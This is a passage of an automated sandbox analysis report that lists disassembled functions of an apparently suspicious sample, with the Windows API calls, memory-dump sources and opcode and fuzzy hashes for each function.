                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1358664141-0
                                                                                                                                                                      • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                      • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                                                                                                      • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                      • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                                                                                                      Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                                                                                                                      • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2880819207-0
                                                                                                                                                                      • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                      • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                                                                                                                      • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                      • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                                                                                                                      Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                                                                                                      • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                                                                                                      • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                                                                                                      • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 357397906-0
                                                                                                                                                                      • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                      • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                                                                                                      • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                      • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                                                                                                      Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                        • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1187119602-0
                                                                                                                                                                      • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                      • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                                                                                                      • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                      • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                                                                                                      Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1597257046-0
                                                                                                                                                                      • Opcode ID: 89f1a50a5f3f04ab4eb1e3bf6fc47514f3819a61a53c7cc8dd854e7388be254d
                                                                                                                                                                      • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                                                                                                      • Opcode Fuzzy Hash: 89f1a50a5f3f04ab4eb1e3bf6fc47514f3819a61a53c7cc8dd854e7388be254d
                                                                                                                                                                      • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                                                                                                      Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DeleteDestroyObject$IconWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3349847261-0
                                                                                                                                                                      • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                      • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                                                                                                                      • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                      • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                                                                                                                      Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                                                                                                                      • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2223660684-0
                                                                                                                                                                      • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                      • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                                                                                                                                                                      • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                      • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                                                                                                                      Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                        • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                        • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                        • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                      • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                                                                                                      • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                                                                                                      • EndPath.GDI32(?), ref: 004472B0
                                                                                                                                                                      • StrokePath.GDI32(?), ref: 004472BE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2783949968-0
                                                                                                                                                                      • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                      • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                                                                                                      • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                      • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                                                                                                      Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __getptd.LIBCMT ref: 00417D1A
                                                                                                                                                                        • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                        • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                      • __getptd.LIBCMT ref: 00417D31
                                                                                                                                                                      • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                                                                                                      • __lock.LIBCMT ref: 00417D4F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3521780317-0
                                                                                                                                                                      • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                      • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                                                                                                      • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                      • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                                                                                                      Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 00471144
                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0047114D
                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                                                                                                                      • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2889604237-0
                                                                                                                                                                      • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                      • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                                                                                                                      • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                      • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                                                                                                                      Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 00471102
                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0047110B
                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                                                                                                                      • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2889604237-0
                                                                                                                                                                      • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                      • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                                                                                                                      • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                      • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                                                                                                                      Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                      • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2710830443-0
                                                                                                                                                                      • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                      • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                                                                                                      • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                      • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                                                                                                      Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                                                                                                                      • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                                                                                                                        • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                                                                                                                        • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 146765662-0
                                                                                                                                                                      • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                      • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                                                                                                                      • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                      • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                                                                                                                      Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                                                                                                                        • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                      • __getptd_noexit.LIBCMT ref: 00414080
                                                                                                                                                                      • __freeptd.LIBCMT ref: 0041408A
                                                                                                                                                                      • ExitThread.KERNEL32 ref: 00414093
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3182216644-0
                                                                                                                                                                      • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                      • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
